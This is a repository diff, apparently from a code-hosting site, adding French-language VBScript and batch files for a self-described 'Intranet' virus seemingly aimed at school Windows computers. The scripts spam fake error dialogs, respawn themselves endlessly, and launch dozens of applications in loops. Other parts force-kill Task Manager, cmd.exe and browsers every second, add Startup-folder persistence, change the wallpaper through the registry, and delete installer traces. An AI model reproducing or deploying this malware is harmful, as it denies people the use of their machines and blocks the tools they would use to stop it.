Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop
End Select

12
Intranet/explorer/Explorer Virus/explorerno.vbs Executable file
View file

@ -0,0 +1,12 @@
result = MsgBox ("Êtes-vous sûr ?", vbInformation + vbYesNo ,"Areyousure?")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "exploreryes.vbs"
Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "explorerwindows.vbs"
End Select

14
Intranet/explorer/Explorer Virus/explorerwindows.vbs Executable file
View file

@ -0,0 +1,14 @@
result = MsgBox ("explorer.exe ne s'est pas fermé correctement, voulez vous revenir à la dernière session ?", vbCritical + vbYesNo ,"L'Explorateur Windows ne s'est pas fermer correctement :(")
Select Case result
Case vbYes
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "exploreryes.vbs"
Case vbNo
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "explorerno.vbs"
End Select

12
Intranet/explorer/Explorer Virus/exploreryes.vbs Executable file
View file

@ -0,0 +1,12 @@
result = MsgBox ("Vous êtes naif quand même...", vbInformation + vbYesNo ,"Naif.exe viens d'être retrouvé !")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "exploreryesyes.vbs"
Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "exploreryesno.vbs"
End Select

8
Intranet/explorer/Explorer Virus/exploreryesno.vbs Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("Si, admetez-le !", vbInformation ,"Naif.exe viens d'être retrouvé !")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "exploreryesyes.vbs"
End Select

55
Intranet/explorer/Explorer Virus/exploreryesyes.vbs Executable file
View file

@ -0,0 +1,55 @@
result = MsgBox ("Désolé mais, le virus va se lancer >:)", vbInformation + vbYesNo ,"computer.exe don't works proprely")
Select Case result
Case vbYes
Do
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop
Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "bahsi.vbs"
End Select

BIN
Intranet/explorer/Explorer Virus/scary monsters and nice spirits midi.bmp Executable file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 5.9 MiB

71
Intranet/explorer/Explorer Virus/virusexplorer.vbs Executable file
View file

@ -0,0 +1,71 @@
Sub Main()
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop
End Sub

11
Intranet/explorer/Explorer Virus/wallpaperchanger.vbs Executable file
View file

@ -0,0 +1,11 @@
Dim shell : Set shell = CreateObject("WScript.Shell")
Dim wallpaper : wallpaper = "D:\Programmation\Intranet\explorer\Explorer Virus\scary monsters and nice spirits midi.bmp"
shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", wallpaper
shell.RegWrite "HKCU\Control Panel\Desktop\Wallpaperstyle", 0
shell.RegWrite "HKCU\Control Panel\Desktop\tilewallpaper", 0
shell.Run "%SYSTEMROOT%\System32\rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, True

14
Intranet/explorer/explorercompressed.vbs Executable file
View file

@ -0,0 +1,14 @@
result = MsgBox ("explorer.exe ne s'est pas fermé correctement, voulez vous revenir à la dernière session ?", vbCritical + vbYesNo ,"L'Explorateur Windows ne s'est pas fermer correctement :(")
Select Case result
Case vbYes
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "exploreryes.vbs"
Case vbNo
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "explorerno.vbs"
End Select

71
Intranet/explorer/virusexplorer.vbs Executable file
View file

@ -0,0 +1,71 @@
Sub Main()
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop
End Sub

46
Intranet/firefox.vbs Executable file
View file

@ -0,0 +1,46 @@
result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefoxplus.vbx"""
Case vbNo
MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\firefox.vbs"
End Select

46
Intranet/firefoxplus.vbs Executable file
View file

@ -0,0 +1,46 @@
result = MsgBox ("Est-tu sûr de vouloir utiliser Firefox, il n'est pas de bonne humeur ces temps-ci :/ ?", vbYesNo + vbCritical, "Le Renard à brûler le disque dur")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefox.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\firefoxplus.vbs"""
Case vbNo
MsgBox "Le Renard Brûle en ce moment, désolé, le virus va devoir revenir :(", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run " %userprofile%\Downloads\Intranet\firefox.vbs"
End Select

46
Intranet/google.vbs Executable file
View file

@ -0,0 +1,46 @@
result = MsgBox ("Nous savons que vous avez installé Google Chrome sans notre permissions, comptez vous le désinstaller ?", vbYesNo + vbCritical, "Message Des Informaticiens")
Select Case result
Case vbNo
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\google.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\googleplus.vbs"
Case vbYes
MsgBox "Bien, mais temps qu'il ne sera pas désinstaller, cette boite de dialogue reviendra", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "google.vbs"
End Select

13
Intranet/googleplus.vbs Executable file
View file

@ -0,0 +1,13 @@
result = MsgBox ("Tu as assez de pages chargés ?", vbYesNo + vbInformation, "Information")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
WScript.Sleep 2000
MsgBox "En voilà une autre alors !", vbInformation, "Tu en veux plus ?"
Case vbNo
MsgBox "Ok"
End Select

48
Intranet/internetexplorer.vbs Executable file
View file

@ -0,0 +1,48 @@
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\Startup Creator\startupie.vbs"""
result = MsgBox ("Est-tu sûr de vouloir utiliser Internet Explorer ?", vbYesNo + vbCritical, "InternetExplorer.exe à cessé de fonctionner")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorerplus.vbs"
Case vbNo
MsgBox "Ouf, j'ai eu peur, mais bon, je te laisse avec le mini-virus :)", vbInformation
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "%userprofile%\Downloads\Intranet\internetexplorer.vbs"
End Select

13
Intranet/internetexplorerplus.vbs Executable file
View file

@ -0,0 +1,13 @@
result = MsgBox ("Tu as assez de pages chargés ?", vbYesNo + vbInformation, "Information")
Select Case result
Case vbYes
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
WScript.Sleep 2000
MsgBox "En voilà une autre alors !", vbInformation, "Tu en veux plus ?"
Case vbNo
MsgBox "Ok"
End Select

1
Intranet/startupie.bat Executable file
View file

@ -0,0 +1 @@
xcopy /s /z /y "%userprofile%\Downloads\Internet Explorer.lnk" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\"

1
Intranet/startupie.vbs Executable file
View file

@ -0,0 +1 @@
CreateObject("Wscript.Shell").Run "startupie.bat",0,True

15
Intranet/taskiller.bat Executable file
View file

@ -0,0 +1,15 @@
taskkill /f /im taskmgr.exe
taskkill /f /im chrome.exe
taskkill /f /im firefox.exe
taskkill /f /im SystemSettings.exe
taskkill /f /im FileManager.exe
taskkill /f /im GROOVE.EXE
taskkill /f /im iexplore.exe
taskkill /f /im notepad.exe
taskkill /f /im educadhoc.exe
taskkill /f /im Espace Numerique Education.exe
taskkill /f /im Oscillo.exe
taskkill /f /im Phylo.exe
taskkill /f /im RasTop.exe
taskkill /f /im Solve Elec.exe
taskkill /f /im cmd.exe

4
Intranet/taskiller.vbs Executable file
View file

@ -0,0 +1,4 @@
Do
CreateObject("Wscript.Shell").Run "%userprofile%\Downloads\Intranet\taskiller.bat",0,True
WScript.Sleep 1000
Loop

8
Intranet/testdialogue.vbs Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("lol, ceci est un test", vbInformation, "Test.exe")
Select Case result
Case vbOk
End Select

13
Intranet/virus.vbs Executable file
View file

@ -0,0 +1,13 @@
result = MsgBox ("An Error Occured at C:/", vbCritical, "system32.dll stopped working")
Select Case result
Case vbOk
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "error.vbs"
WScript.Sleep 10000
Loop
End Select

BIN
Mozilla Firefox.lnk Executable file
View file

Binary file not shown.

BIN
Word 2016.lnk Executable file
View file

Binary file not shown.

14
installer.bat Executable file
View file

@ -0,0 +1,14 @@
xcopy /s /z /y "Intranet_Virus" "%userprofile%\Downloads\"
timeout /t 5
del /s %userprofile%\Downloads\installer.bat
del /s %userprofile%\Downloads\installer.vbs
del /s %userprofile%\Downloads\installer_msg.vbs
del /s %userprofile%\Downloads\uninstall.vbs
del /s %userprofile%\Downloads\uninstall.bat
del /s %userprofile%\Downloads\uninstaller_one.vbs
del /s %userprofile%\Downloads\uninstaller_msg.vbs
del /s %userprofile%\Downloads\task_deleter.bat
del /s %userprofile%\Downloads\uninstall2.vbs
del /s %userprofile%\Downloads\installer_one.vbs
del /s %userprofile%\Downloads\installer_task.bat
del /s %userprofile%\Downloads\installer2.vbs

8
installer.vbs Executable file
View file

@ -0,0 +1,8 @@
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """Intranet_Virus\installer_one.vbs"""
CreateObject("Wscript.Shell").Run """Intranet_Virus\installer.bat""",0,True
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\"""
WScript.Sleep 1000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """Intranet_Virus\installer_task.bat"""

7
installer2.vbs Executable file
View file

@ -0,0 +1,7 @@
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """Intranet_Virus\installer_msg.vbs"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\Startup Creator\startuptaskill.vbs"""
WScript.Sleep 30000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\Downloads\Intranet\taskiller.vbs"""

8
installer_msg.vbs Executable file
View file

@ -0,0 +1,8 @@
result = MsgBox ("Vous venez d'installer le virus Intranet 1.0, merci de tester ce programme et de m'envoyer vos retours sur alzyoic1200@gmail.com, pour le désinstaller, lancez le programme Uninstall Intranet", vbInformation, "Intranet Installer")
Select Case result
Case vbOk
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "http://cubeadventures.16mb.com/fr/Intranet.html"
End Select

8
installer_one.vbs Executable file
View file

@ -0,0 +1,8 @@
